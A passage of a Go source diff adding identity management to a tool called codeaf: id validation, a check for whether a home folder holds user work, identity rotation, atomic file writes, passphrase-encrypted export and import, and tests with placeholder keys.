regexp.MustCompile(`^id_[0-9a-f]{32}$`) + +// ValidID says whether s has the shape of an identity id. +func ValidID(s string) bool { return idShape.MatchString(s) } + +// Predecessors answers the identities the one under home replaced, or none. +func Predecessors(home string) []string { + raw, err := os.ReadFile(filepath.Join(home, predecessorsFile)) + if err != nil { + return nil + } + var ids []string + for _, line := range strings.Fields(string(raw)) { + if ValidID(line) { + ids = append(ids, line) + } + } + return ids +} + +// RecordPredecessor adds id to the list, once, keeping the newest +// MaxPredecessors. Repeating it changes nothing, so a crashed rotation can +// call it again. +func RecordPredecessor(home, id string) error { + if !ValidID(id) { + return errors.New("identity: not an identity id") + } + ids := Predecessors(home) + if slices.Contains(ids, id) { + return nil + } + ids = append(ids, id) + ids = ids[max(0, len(ids)-MaxPredecessors):] + tmp, err := privateTemp(home, []byte(strings.Join(ids, "\n")+"\n")) + if err != nil { + return err + } + return os.Rename(tmp, filepath.Join(home, predecessorsFile)) +} diff --git a/internal/identity/pristine.go b/internal/identity/pristine.go new file mode 100644 index 0000000000..c4fa390905 --- /dev/null +++ b/internal/identity/pristine.go @@ -0,0 +1,58 @@ +package identity + +import ( + "errors" + "io/fs" +) + +// Pristine says whether the home holds nothing but what starting codeaf makes: +// no chats, no workspaces, no synced cells and no secrets. Such a computer can +// join another identity without losing anything. When in doubt it answers no: +// an entry that [started] does not name counts as use. +func Pristine(home string) (bool, error) { + used, err := started(home) + if errors.Is(err, fs.ErrNotExist) { + return true, nil + } + return !used && err == nil, err +} + +// started is the whole of what starting codeaf leaves in a home, read off a real +// run: it is the one place that says which files are made again on demand and +// which are the person's. Each name is a glob on one entry, and each entry +// carries its own judge, so a file that is sometimes made by a start and +// sometimes by use (a chat's transcript, the memory graph) is judged by what it +// holds rather than by its name. +var started = within(rules{ + File: never, DeviceFile: never, legacyKeyFile: never, soloFile: never, + "config.json": never, "config.json.lock": never, "notices.json": never, + "catalog.json": never, "model-catalog.json": never, "model-quirks.json": never, + "credits.json": never, "logs": never, "bin": never, "cache": never, + "chat.log": empty, "cas": empty, + "graph.db": bareGraph, "graph.db-wal": never, "graph.db-shm": never, + "pool": within(rules{ + "doc.json": never, "doc.sig": never, "install": never, + "meta.json": never, "sweep-last.json": never, "outbox.jsonl": empty, + }), + "telemetry": within(rules{"first_run": never, "install_id": never, "notice_seen": never}), + "v3": within(rules{ + "history.jsonl": onlyCommands, "models.json": never, "lanes.json": never, "lanes.json.lock": never, + "lanes.log": never, "lanes": never, // provider facts fetched from the model catalogue, fetched again on demand + "draft-*.json": untypedDraft, "hosts": never, "standing": never, + "stores": within(rules{ + "sweep.stamp": never, + "*": within(rules{"budget.json": never, "budget.lock": never}), + }), + "projects": within(rules{"*": within(rules{"*": withinSession})}), + }), +}) + +// withinSession is one chat folder: its bookkeeping is made again on demand and +// its transcript and memories are the chat itself. +var withinSession = within(rules{ + "meta.json": never, "presence.json": never, + ".cell": within(rules{ + "meta.json": never, "session.json": never, "env": empty, + "memories.jsonl": empty, "transcript.jsonl": noTurns, + }), +}) diff --git a/internal/identity/pristine_judges.go b/internal/identity/pristine_judges.go new file mode 100644 index 0000000000..6ceeabfdce --- /dev/null +++ b/internal/identity/pristine_judges.go @@ -0,0 +1,231 @@ +package identity + +import ( + "bufio" + "bytes" + "database/sql" + "encoding/json" + "io" + "net/url" + "os" + "path/filepath" + "strings" + + _ "modernc.org/sqlite" // reads the memory graph, which is a SQLite file +) + +// A judge says whether one entry of a home, a file or a folder, holds anything +// the person made. A judge that cannot tell answers with its error, and the +// caller treats that as use. +type judge func(path string) (used bool, err error) + +// rules names the judge of each entry of a folder, by glob. +type rules map[string]judge + +// within judges a folder by its entries: each must match a glob in the rules and +// be no use. An entry that no glob names is use, so an unknown file stays safe. +func within(r rules) judge { + return func(path string) (bool, error) { + entries, err := os.ReadDir(path) + if err != nil { + return true, err + } + for _, e := range entries { + if used, err := r.of(e.Name())(filepath.Join(path, e.Name())); used || err != nil { + return true, err + } + } + return false, nil + } +} + +// of is the judge that owns one name, or the judge of an unknown name. +func (r rules) of(name string) judge { + for glob, j := range r { + if ok, _ := filepath.Match(glob, name); ok { + return j + } + } + return unknown +} + +// never is for what a start makes again on demand: keys, caches, locks, logs. +func never(string) (bool, error) { return false, nil } + +// unknown is the judge of a name nobody declared, and it is always use. +func unknown(string) (bool, error) { return true, nil } + +// empty is for what holds the person's words and bytes when it holds any: a +// file with no bytes, or a folder of such files. +func empty(path string) (bool, error) { + info, err := os.Stat(path) + if err != nil || !info.IsDir() { + return err != nil || info.Size() > 0, err + } + return emptyTree(path) +} + +func emptyTree(dir string) (bool, error) { + entries, err := os.ReadDir(dir) + for _, e := range entries { + if used, err := empty(filepath.Join(dir, e.Name())); used || err != nil { + return true, err + } + } + return err != nil, err +} + +// noTurns is for a chat's transcript. A start writes the header line that +// names the session; any other line is something said in the chat. +func noTurns(path string) (bool, error) { + raw, err := os.ReadFile(path) + if err != nil { + return true, err + } + sc := bufio.NewScanner(bytes.NewReader(raw)) + sc.Buffer(nil, len(raw)+1) + for sc.Scan() { + if line := bytes.TrimSpace(sc.Bytes()); len(line) > 0 && !isHeader(line) { + return true, nil + } + } + return false, sc.Err() +} + +func isHeader(line []byte) bool { + var row struct{ Type string } + return json.Unmarshal(line, &row) == nil && row.Type == "session" +} + +// untypedDraft is for a composer's saved record. It names its owner and keeps a +// slot for each recipient, and a slot is only the person's once it holds words, +// a paste, an attachment or a sent line; an emptied slot is a tombstone. +func untypedDraft(path string) (bool, error) { + raw, err := os.ReadFile(path) + if err != nil { + return true, err + } + var rec struct { + Slots []struct { + Text string + Pastes, Chips, Sends []json.RawMessage + } + } + if err := json.Unmarshal(raw, &rec); err != nil { + return true, nil + } + for _, slot := range rec.Slots { + if slot.Text != "" || len(slot.Pastes)+len(slot.Chips)+len(slot.Sends) > 0 { + return true, nil + } + } + return false, nil +} + +// onlyCommands is for the recall history. A line starting with a slash is a +// command said to codeaf (such as the /quit of a person leaving), not work; any +// other line is a request the person made. +func onlyCommands(path string) (bool, error) { + raw, err := os.ReadFile(path) + if err != nil { + return true, err + } + sc := bufio.NewScanner(bytes.NewReader(raw)) + sc.Buffer(nil, len(raw)+1) + for sc.Scan() { + var entry struct{ Text string } + if line := bytes.TrimSpace(sc.Bytes()); len(line) > 0 && + (json.Unmarshal(line, &entry) != nil || !strings.HasPrefix(entry.Text, "/")) { + return true, nil + } + } + return false, sc.Err() +} + +// graphRoot is the one node a start puts in the memory graph. +const graphRoot = "root" + +// bareGraph is for the memory graph. A start seeds its root node and its +// inferred skill facts and logs events about them; every other table (sessions, +// messages, memories, charters, ...), node and fact is work the person did. It +// is opened read-only so judging a home never changes it. +func bareGraph(path string) (bool, error) { + if sound, err := soundDatabase(path); !sound || err != nil { + return true, err + } + db, err := sql.Open("sqlite", (&url.URL{Scheme: "file", Opaque: filepath.ToSlash(path), RawQuery: "mode=ro"}).String()) + if err != nil { + return true, err + } + defer db.Close() + tables, err := graphTables(db) + if err != nil { + return true, err + } + for _, table := range tables { + if used, err := holdsWork(db, table); used || err != nil { + return true, err + } + } + return false, nil +} + +// sqliteMagic opens every SQLite file. The driver reads a file shorter than its +// header as an empty database, which would call a stray byte "nothing", so the +// header is checked first and a file that is not one is use. +const sqliteMagic = "SQLite format 3\x00" + +func soundDatabase(path string) (bool, error) { + f, err := os.Open(path) + if err != nil { + return false, err + } + defer f.Close() + head := make([]byte, len(sqliteMagic)) + n, err := io.ReadFull(f, head) + if n == 0 { + return true, nil // a file with no bytes is an empty database + } + return err == nil && string(head) == sqliteMagic, nil +} + +// graphTables lists the tables that hold rows of their own. Full-text indexes +// are skipped because they only echo the tables they index, and the event log +// because it is written by a start and says nothing about use. +func graphTables(db *sql.DB) ([]string, error) { + rows, err := db.Query(`SELECT name FROM sqlite_master WHERE type = 'table' + AND name NOT LIKE '%\_fts%' ESCAPE '\' AND name NOT LIKE 'sqlite\_%' ESCAPE '\' AND name <> 'events'`) + if err != nil { + return nil, err + } + defer rows.Close() + var names []string + for rows.Next() { + var name string + if err := rows.Scan(&name); err != nil { + return nil, err + } + names = append(names, name) + } + return names, rows.Err() +} + +// workRows names, per table, the rows that are the person's: what is left once +// what a start writes itself is taken out. A start seeds the root node and one +// inferred skill fact for each skill installed on the computer (read from the +// disk again at every start). A table not named here is all work. +var workRows = map[string]string{ + "nodes": "id <> '" + graphRoot + "'", + "facts": "NOT (kind = 'skill' AND channel = 'inferred')", +} + +// holdsWork says whether a table has a row that is the person's work. +func holdsWork(db *sql.DB, table string) (bool, error) { + query := `SELECT count(*) FROM "` + table + `"` + if only, ok := workRows[table]; ok { + query += " WHERE " + only + } + var n int + err := db.QueryRow(query).Scan(&n) + return n > 0, err +} diff --git a/internal/identity/pristine_started_test.go b/internal/identity/pristine_started_test.go new file mode 100644 index 0000000000..c2fd538a09 --- /dev/null +++ b/internal/identity/pristine_started_test.go @@ -0,0 +1,148 @@ +package identity + +import ( + "database/sql" + "os" + "path/filepath" + "strings" + "testing" + + _ "modernc.org/sqlite" // the memory graph the started home holds +) + +const ( + sessionDir = "v3/projects/-work-notes/01SESSION" + cellDir = sessionDir + "/.cell" +) + +// startedFiles is the layout a fresh install leaves after the person ran +// codeaf, looked at the start screen and quit (read off a real run): files that +// are made again on demand, and one chat that has a header line and no turn. +var startedFiles = map[string]string{ + File: "{}", DeviceFile: "{}", "identity-solo": "", "config.json": "{}", + "notices.json": "{}", "model-catalog.json": "{}", "chat.log": "", "credits.json": "{}", + "bin/furrow": "x", "cas/.keep-dir": "", "logs/run.log": "x", + "pool/doc.json": "{}", "pool/outbox.jsonl": "", "pool/meta.json": "{}", + "telemetry/install_id": "x", "telemetry/first_run": "x", + "graph.db-wal": "x", "graph.db-shm": "x", + "v3/history.jsonl": `{"text":"/quit","cwd":"/w","ts":"2026-01-01T00:00:00Z"}` + "\n", + "v3/models.json": "{}", "v3/lanes.json": "{}", "v3/lanes.json.lock": "", "v3/lanes.log": "{}\n", + "v3/lanes/deepseek%2Fdeepseek-v4.1-flash.json": "{}", + "v3/draft-ab-0-12.json": `{"version":1,"owner":"o","slots":[{"owner":"o","caret":0}]}`, + "v3/hosts/ab/host.sock": "", + "v3/hosts/ab/host.log": "", + "v3/standing/tick.lock": "", + "v3/stores/sweep.stamp": "", + "v3/stores/01SESSION/budget.json": "{}", + "v3/stores/01SESSION/budget.lock": "", + sessionDir + "/meta.json": "{}", + sessionDir + "/presence.json": "{}", + cellDir + "/meta.json": "{}", + cellDir + "/session.json": "{}", + cellDir + "/env/.keep-dir": "", + cellDir + "/memories.jsonl": "", + cellDir + "/transcript.jsonl": `{"type":"session","version":1,"id":"01SESSION"}` + "\n", +} + +// startedHome lays the started files out, then applies the change a test makes. +func startedHome(t *testing.T, change func(home string)) string { + t.Helper() + home := t.TempDir() + for name, body := range startedFiles { + path := filepath.Join(home, name) + if strings.HasSuffix(name, ".keep-dir") { + path = filepath.Dir(path) + if err := os.MkdirAll(path, 0o700); err != nil { + t.Fatal(err) + } + continue + } + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } + } + makeGraph(t, home, nil) + if change != nil { + change(home) + } + return home +} + +// makeGraph writes the memory graph the way a start leaves it: the root node +// and one event, plus whatever rows a test adds. +func makeGraph(t *testing.T, home string, extra []string) { + t.Helper() + db, err := sql.Open("sqlite", filepath.Join(home, "graph.db")) + if err != nil { + t.Fatal(err) + } + defer db.Close() + for _, q := range append([]string{ + `CREATE TABLE IF NOT EXISTS nodes (id TEXT)`, `CREATE TABLE IF NOT EXISTS events (id TEXT)`, + `CREATE TABLE IF NOT EXISTS messages (id TEXT)`, `CREATE TABLE IF NOT EXISTS memories (id TEXT)`, + `CREATE TABLE IF NOT EXISTS facts (kind TEXT, channel TEXT)`, + `INSERT INTO nodes VALUES ('root')`, `INSERT INTO events VALUES ('boot')`, + `INSERT INTO facts VALUES ('skill', 'inferred')`, // one per skill installed on the computer, read again at every start + }, extra...) { + if _, err := db.Exec(q); err != nil { + t.Fatal(err) + } + } +} + +func put(t *testing.T, path, body string) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } +} + +// A computer that was only started holds nothing to lose. +func TestPristineAfterOnlyStarting(t *testing.T) { + home := startedHome(t, nil) + ok, err := Pristine(home) + if err != nil || !ok { + t.Fatalf("a home that was only started is pristine, got %v %v", ok, err) + } +} + +// Anything the person made keeps the home from being pristine, however little +// else changed. When in doubt the answer stays no. +func TestPristineRefusesEveryKindOfUse(t *testing.T) { + cases := map[string]func(home string){ + "a chat turn": func(h string) { + put(t, filepath.Join(h, cellDir, "transcript.jsonl"), + startedFiles[cellDir+"/transcript.jsonl"]+`{"type":"message","role":"user"}`+"\n") + }, + "a memory": func(h string) { put(t, filepath.Join(h, cellDir, "memories.jsonl"), `{"m":1}`) }, + "a typed draft": func(h string) { + put(t, filepath.Join(h, "v3/draft-ab-0-12.json"), `{"version":1,"slots":[{"text":"hi"}]}`) + }, + "a typed request": func(h string) { + put(t, filepath.Join(h, "v3/history.jsonl"), `{"text":"/quit"}`+"\n"+`{"text":"fix the bug"}`+"\n") + }, + "a stored blob": func(h string) { put(t, filepath.Join(h, "cas/ab/blob"), "x") }, + "a synced cell": func(h string) { put(t, filepath.Join(h, "v3/stores/01SESSION/store-v1/packs/p"), "x") }, + "a task history": func(h string) { put(t, filepath.Join(h, "v3/projects/-work-notes/tasks.jsonl"), "{}") }, + "a secret": func(h string) { put(t, filepath.Join(h, "provider-keys.enc"), "x") }, + "an unknown file": func(h string) { put(t, filepath.Join(h, "v3/notes.txt"), "x") }, + "a stored message": func(h string) { makeGraph(t, h, []string{`INSERT INTO messages VALUES ('m')`}) }, + "a second node": func(h string) { makeGraph(t, h, []string{`INSERT INTO nodes VALUES ('task')`}) }, + "a remembered fact": func(h string) { makeGraph(t, h, []string{`INSERT INTO facts VALUES ('preference', 'stated')`}) }, + "a stray byte for a graph": func(h string) { put(t, filepath.Join(h, "graph.db"), "x") }, + "a broken graph": func(h string) { put(t, filepath.Join(h, "graph.db"), "not a database") }, + } + for name, change := range cases { + t.Run(name, func(t *testing.T) { + if ok, _ := Pristine(startedHome(t, change)); ok { + t.Fatalf("a home holding %s is used", name) + } + }) + } +} diff --git a/internal/identity/rotation.go b/internal/identity/rotation.go new file mode 100644 index 0000000000..f967c025c8 --- /dev/null +++ b/internal/identity/rotation.go @@ -0,0 +1,51 @@ +package identity + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" +) + +// Mint makes an identity whose three secrets are all new: a new signing seed +// (so a new id), a new dedup secret and a new cell key. It never reads the +// home, so a legacy vault key cannot leak into it as ensureRoot's does. It is +// what a rotation replaces an identity with. +func Mint() (Identity, error) { + cell, err := randomKey() + if err != nil { + return Identity{}, err + } + return generate(cell) +} + +// NewDevice makes a device under id without writing it, for a caller that must +// register the device before it becomes this machine's own. +func NewDevice(id Identity) (Dev, error) { return newDevice(id) } + +// Install makes id the identity under home and dev its device. Both writes are +// atomic and repeating the call changes nothing, so a caller that crashed +// between them calls it again. +func Install(home string, id Identity, dev Dev) error { + if dev.Cert.Verify(id.PublicKey()) != nil { + return errors.New("identity: the device was not made under this identity") + } + if err := Save(home, id); err != nil { + return err + } + return write(filepath.Join(home, DeviceFile), dev.document(), os.Rename) +} + +// Marshal is the device as one document in memory, for a journal that must +// keep it across a crash. It holds the device's private key. +func (d Dev) Marshal() ([]byte, error) { return json.Marshal(d.document()) } + +// UnmarshalDev reads a document Dev.Marshal made. +func UnmarshalDev(raw []byte) (Dev, error) { + var doc deviceDocument + if err := json.Unmarshal(raw, &doc); err != nil { + return Dev{}, err + } + d := Dev{Cert: doc.Cert} + return d, decodeKey(doc.Seed, &d.seed) +} diff --git a/internal/identity/rotation_test.go b/internal/identity/rotation_test.go new file mode 100644 index 0000000000..b5279d9892 --- /dev/null +++ b/internal/identity/rotation_test.go @@ -0,0 +1,79 @@ +package identity + +import "testing" + +// A minted identity shares no secret and no id with another, and it is never +// built from a vault key lying in a home. +func TestMintIsAllNew(t *testing.T) { + a, err := Mint() + if err != nil { + t.Fatal(err) + } + b, _ := Mint() + if a.ID() == b.ID() || a.CellKeyID() == b.CellKeyID() || string(a.DedupSecret()) == string(b.DedupSecret()) { + t.Fatal("two minted identities share a secret") + } +} + +// Install makes the identity and its device the machine's, repeatably, and +// refuses a device that another identity certified. +func TestInstallIsRepeatableAndChecksTheCert(t *testing.T) { + home := t.TempDir() + id, _ := Mint() + dev, err := NewDevice(id) + if err != nil { + t.Fatal(err) + } + for range 2 { + if err := Install(home, id, dev); err != nil { + t.Fatal(err) + } + } + got, err := Device(home) + if err != nil || got.ID() != dev.ID() { + t.Fatalf("device after install = %v, %v", got.ID(), err) + } + other, _ := Mint() + if err := Install(t.TempDir(), other, dev); err == nil { + t.Fatal("installed a device another identity certified") + } +} + +// A device survives a journal: marshalled and read back it signs the same. +func TestDeviceMarshalRoundTrip(t *testing.T) { + id, _ := Mint() + dev, _ := NewDevice(id) + raw, err := dev.Marshal() + if err != nil { + t.Fatal(err) + } + back, err := UnmarshalDev(raw) + if err != nil { + t.Fatal(err) + } + if back.ID() != dev.ID() || string(back.Sign([]byte("m"))) != string(dev.Sign([]byte("m"))) { + t.Fatal("the device changed in the journal") + } +} + +// The list of replaced identities keeps order, takes each once and is bounded. +func TestPredecessorsAreRecordedOnceAndBounded(t *testing.T) { + home := t.TempDir() + var made []string + for range MaxPredecessors + 2 { + id, _ := Mint() + made = append(made, id.ID()) + for range 2 { + if err := RecordPredecessor(home, id.ID()); err != nil { + t.Fatal(err) + } + } + } + got := Predecessors(home) + if len(got) != MaxPredecessors || got[0] != made[2] || got[len(got)-1] != made[len(made)-1] { + t.Fatalf("predecessors = %v", got) + } + if RecordPredecessor(home, "../etc") == nil { + t.Fatal("recorded something that is not an identity id") + } +} diff --git a/internal/identity/solo.go b/internal/identity/solo.go new file mode 100644 index 0000000000..5ebd06d3cb --- /dev/null +++ b/internal/identity/solo.go @@ -0,0 +1,41 @@ +package identity + +// AN IDENTITY MADE ON THIS COMPUTER AND NEVER SHARED IS SOLO. It is a fleet of +// one, so nothing about it is the sync service's business: a marker beside the +// identity says so, and everything that talks to the service reads it. The +// marker ends the moment the identity is shared or taken ([EndSolo]): this +// computer took another's identity, showed a code to let one in, approved +// one, or the person opened the add-machine card. +// +// An identity that has no marker is not solo: it is every identity that was +// made before the marker existed, and it keeps syncing as it did. + +import ( + "errors" + "io/fs" + "os" + "path/filepath" +) + +const soloFile = "identity-solo" + +// Solo says the identity under home was made here and has not been shared. +func Solo(home string) bool { + _, err := os.Stat(filepath.Join(home, soloFile)) + return err == nil +} + +// markSolo is written before the identity, so a crash between the two leaves a +// marker and no identity, which asks nothing of anyone. +func markSolo(home string) error { + return os.WriteFile(filepath.Join(home, soloFile), nil, 0o600) +} + +// EndSolo says the identity is shared now. Ending what is not begun is no error. +func EndSolo(home string) error { + err := os.Remove(filepath.Join(home, soloFile)) + if errors.Is(err, fs.ErrNotExist) { + return nil + } + return err +} diff --git a/internal/identity/store.go b/internal/identity/store.go new file mode 100644 index 0000000000..7a2b3cf29a --- /dev/null +++ b/internal/identity/store.go @@ -0,0 +1,153 @@ +package identity + +import ( + "encoding/json" + "errors" + "fmt" + "io/fs" + "os" + "path/filepath" + "strings" +) + +const ( + // File is the persisted identity under the codeaf home. + File = "identity.json" + // legacyKeyFile held the vault key before identities existed. + legacyKeyFile = "vault.key" +) + +// ErrNone reports that no identity exists under the home yet. +var ErrNone = errors.New("identity: none on this machine") + +func path(home string) string { return filepath.Join(home, File) } + +// Load reads the identity under home, or ErrNone. +func Load(home string) (Identity, error) { + raw, err := os.ReadFile(path(home)) + if errors.Is(err, fs.ErrNotExist) { + return Identity{}, ErrNone + } + if err != nil { + return Identity{}, err + } + var d document + if err := json.Unmarshal(raw, &d); err != nil { + return Identity{}, fmt.Errorf("identity: corrupt %s: %w", File, err) + } + return fromDocument(d) +} + +// Ensure returns the identity under home, and makes this machine's device +// (device.go) beside it, creating either on first use. +func Ensure(home string) (Identity, error) { + id, err := ensureRoot(home) + if err != nil { + return Identity{}, err + } + _, err = deviceFor(home, id) + return id, err +} + +// EnsureSolo is Ensure for a computer that needs an identity for itself (a +// vault key, a first launch) and has not been asked to share it: an identity +// it makes is solo (solo.go). One that already exists is left as it is. +func EnsureSolo(home string) (Identity, error) { + if _, err := Load(home); errors.Is(err, ErrNone) { + if err := os.MkdirAll(home, 0o700); err != nil { + return Identity{}, err + } + if err := markSolo(home); err != nil { + return Identity{}, err + } + } + return Ensure(home) +} + +// ensureRoot returns the root identity, creating it on first use. A machine +// that already has a vault.key keeps it as the cell key, so its vault still +// opens. Two processes racing to create agree on whichever wrote first. +func ensureRoot(home string) (Identity, error) { + if id, err := Load(home); !errors.Is(err, ErrNone) { + return id, err + } + if err := os.MkdirAll(home, 0o700); err != nil { + return Identity{}, err + } + cell, err := inheritedCellKey(home) + if err != nil { + return Identity{}, err + } + fresh, err := generate(cell) + if err != nil { + return Identity{}, err + } + err = write(path(home), fresh.document(), os.Link) + if errors.Is(err, fs.ErrExist) { + return Load(home) + } + return fresh, err +} + +// Save replaces the identity under home. +func Save(home string, id Identity) error { + if err := os.MkdirAll(home, 0o700); err != nil { + return err + } + return write(path(home), id.document(), os.Rename) +} + +func hasLegacyKey(home string) bool { + _, err := os.Stat(filepath.Join(home, legacyKeyFile)) + return err == nil +} + +// inheritedCellKey is the old vault key when there is one, else a new key. +func inheritedCellKey(home string) (key, error) { + raw, err := os.ReadFile(filepath.Join(home, legacyKeyFile)) + if errors.Is(err, fs.ErrNotExist) { + return randomKey() + } + if err != nil { + return key{}, err + } + var k key + if err := decodeKey(strings.TrimSpace(string(raw)), &k); err != nil { + return key{}, fmt.Errorf("identity: %s is not a valid key file", legacyKeyFile) + } + return k, nil +} + +// write puts v as JSON at target through a private temp file and publish, +// which is os.Rename to replace and os.Link to refuse replacing. +func write(target string, v any, publish func(from, to string) error) error { + raw, err := json.Marshal(v) + if err != nil { + return err + } + tmp, err := privateTemp(filepath.Dir(target), raw) + if err != nil { + return err + } + defer os.Remove(tmp) + return publish(tmp, target) +} + +func privateTemp(dir string, data []byte) (string, error) { + f, err := os.CreateTemp(dir, ".tmp-*") + if err != nil { + return "", err + } + err = errors.Join(f.Chmod(0o600), writeSync(f, data)) + if err != nil { + os.Remove(f.Name()) + return "", err + } + return f.Name(), nil +} + +func writeSync(f *os.File, data []byte) error { + _, werr := f.Write(data) + serr := f.Sync() + return errors.Join(werr, serr, f.Close()) +} diff --git a/internal/identity/testdata/device.golden.json b/internal/identity/testdata/device.golden.json new file mode 100644 index 0000000000..37f5eb3a0c --- /dev/null +++ b/internal/identity/testdata/device.golden.json @@ -0,0 +1 @@ +{"V":1,"device":"00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff","created":1759049990000,"sig":"cafe"} diff --git a/internal/identity/testdata/export.golden.json b/internal/identity/testdata/export.golden.json new file mode 100644 index 0000000000..30e42f0b50 --- /dev/null +++ b/internal/identity/testdata/export.golden.json @@ -0,0 +1 @@ +{"V":1,"kdf":"argon2id","t":3,"m_kib":65536,"p":4,"salt":"00112233445566778899aabbccddeeff","nonce":"00112233445566778899aabbccddeeff0011223344556677","data":"cafe"} diff --git a/internal/identity/testdata/identity.golden.json b/internal/identity/testdata/identity.golden.json new file mode 100644 index 0000000000..424dc3eb99 --- /dev/null +++ b/internal/identity/testdata/identity.golden.json @@ -0,0 +1 @@ +{"V":1,"signing_seed":"000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f","dedup_secret":"404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f","cell_key":"808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9f"} diff --git a/internal/identity/wrap.go b/internal/identity/wrap.go new file mode 100644 index 0000000000..a3f271c78e --- /dev/null +++ b/internal/identity/wrap.go @@ -0,0 +1,142 @@ +package identity + +import ( + "crypto/rand" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + + "golang.org/x/crypto/argon2" + "golang.org/x/crypto/chacha20poly1305" +) + +// ErrWrongPassphrase reports an export that did not open. A wrong passphrase +// and a damaged blob look the same by design. +var ErrWrongPassphrase = errors.New("identity: wrong passphrase, or the export is damaged") + +// wrapped is the export: the identity document sealed under a key stretched +// from a passphrase. The cost parameters travel with it so they can grow. +type wrapped struct { + V uint16 `json:"V"` + KDF string `json:"kdf"` + Time uint32 `json:"t"` + MemKiB uint32 `json:"m_kib"` + Threads uint8 `json:"p"` + Salt string `json:"salt"` + Nonce string `json:"nonce"` + Data string `json:"data"` +} + +const ( + kdfName = "argon2id" + wrapLabel = "codeaf/identity-export/v1" + maxMemKiB = 1 << 20 // refuse an export that asks for more than 1 GiB + maxTime = 16 +) + +// cost is what new exports use; imports honour whatever the blob names, within +// the maxima above. +var cost = wrapped{Time: 3, MemKiB: 64 * 1024, Threads: 4} + +func (w wrapped) stretch(passphrase string, salt []byte) []byte { + return argon2.IDKey([]byte(passphrase), salt, w.Time, w.MemKiB, w.Threads, keySize) +} + +func (w wrapped) valid() error { + if w.V != version || w.KDF != kdfName { + return errors.New("identity: not an identity export") + } + if w.Time == 0 || w.Time > maxTime || w.MemKiB == 0 || w.MemKiB > maxMemKiB || w.Threads == 0 { + return errors.New("identity: export asks for unreasonable key stretching") + } + return nil +} + +// Export wraps id under passphrase into a blob that is safe to copy anywhere. +func Export(id Identity, passphrase string) ([]byte, error) { + plain, err := json.Marshal(id.document()) + if err != nil { + return nil, err + } + w := cost + w.V, w.KDF = version, kdfName + salt, nonce := make([]byte, 16), make([]byte, chacha20poly1305.NonceSizeX) + if _, err := rand.Read(salt); err != nil { + return nil, err + } + if _, err := rand.Read(nonce); err != nil { + return nil, err + } + aead, err := chacha20poly1305.NewX(w.stretch(passphrase, salt)) + if err != nil { + return nil, err + } + w.Salt, w.Nonce = hex.EncodeToString(salt), hex.EncodeToString(nonce) + w.Data = hex.EncodeToString(aead.Seal(nil, nonce, plain, []byte(wrapLabel))) + return json.Marshal(w) +} + +// Import opens an export made by Export. +func Import(blob []byte, passphrase string) (Identity, error) { + var w wrapped + if err := json.Unmarshal(blob, &w); err != nil { + return Identity{}, fmt.Errorf("identity: not an identity export: %w", err) + } + if err := w.valid(); err != nil { + return Identity{}, err + } + plain, err := w.open(passphrase) + if err != nil { + return Identity{}, err + } + var d document + if err := json.Unmarshal(plain, &d); err != nil { + return Identity{}, ErrWrongPassphrase + } + return fromDocument(d) +} + +func (w wrapped) open(passphrase string) ([]byte, error) { + salt, err1 := hex.DecodeString(w.Salt) + nonce, err2 := hex.DecodeString(w.Nonce) + data, err3 := hex.DecodeString(w.Data) + if err := errors.Join(err1, err2, err3); err != nil || len(nonce) != chacha20poly1305.NonceSizeX { + return nil, errors.New("identity: malformed export") + } + aead, err := chacha20poly1305.NewX(w.stretch(passphrase, salt)) + if err != nil { + return nil, err + } + plain, err := aead.Open(nil, nonce, data, []byte(wrapLabel)) + if err != nil { + return nil, ErrWrongPassphrase + } + return plain, nil +} + +// ErrDifferent reports that the home already holds another identity. +var ErrDifferent = errors.New("identity: this machine already has a different identity; pass --replace to overwrite it") + +// Adopt makes next the identity under home. It refuses to overwrite a +// different identity unless replace is set, and says whether it did. +func Adopt(home string, next Identity, replace bool) (replaced bool, err error) { + cur, err := Load(home) + if errors.Is(err, ErrNone) && hasLegacyKey(home) { + cur, err = ensureRoot(home) // an unmigrated vault key is an identity too + } + if err != nil && !errors.Is(err, ErrNone) { + return false, err + } + replaced = err == nil && cur.ID() != next.ID() + if replaced && !replace { + return false, ErrDifferent + } + if err := Save(home, next); err != nil { + return false, err + } + if _, err := deviceFor(home, next); err != nil { // this machine's own device under the imported root + return replaced, err + } + return replaced, EndSolo(home) // taking another's identity is joining a fleet +} diff --git a/internal/inventory/bounds.go b/internal/inventory/bounds.go new file mode 100644 index 0000000000..c5fcb9bde1 --- /dev/null +++ b/internal/inventory/bounds.go @@ -0,0 +1,76 @@ +package inventory + +// The record travels in every seal, so each list of it has a ceiling. A list +// over its ceiling keeps its newest entries and counts the rest in Omitted, so +// the brief can say "and N more" without the record growing with the work. +const ( + maxRunning = 16 + maxWithheld = 32 + maxDetached = 8 + // maxCommand cuts one recorded command line, in bytes. + maxCommand = 240 +) + +// The names of the lists, as Omitted keys them. +const ( + ListRunning = "running" + ListWithheld = "withheld" + ListDetached = "detached" +) + +// newest keeps the last max entries of list, which is ordered oldest first, and +// says how many it dropped. +func newest[T any](list []T, max int) ([]T, int) { + if len(list) <= max { + return list, 0 + } + return list[len(list)-max:], len(list) - max +} + +// setOmitted records how many entries of one list were cut, and forgets the +// count when none were. +func (inv *Inventory) setOmitted(list string, n int) { + if n == 0 { + delete(inv.Omitted, list) + if len(inv.Omitted) == 0 { + inv.Omitted = nil + } + return + } + if inv.Omitted == nil { + inv.Omitted = map[string]int{} + } + inv.Omitted[list] = n +} + +// SetRunning replaces the running list whole: a process that stopped leaves. +func (inv *Inventory) SetRunning(list []Running) { + kept, dropped := newest(list, maxRunning) + inv.Running = kept + inv.setOmitted(ListRunning, dropped) +} + +// SetDetached replaces the detached list, cut to its bound. +func (inv *Inventory) SetDetached(list []Detached) { + kept, dropped := newest(list, maxDetached) + inv.Detached = kept + inv.setOmitted(ListDetached, dropped) +} + +// SetWithheld replaces the entries whose path own names, and keeps the others. +// The seal's own folders and each task copy's are written by different steps of +// the same seal, and neither may erase the other's. +func (inv *Inventory) 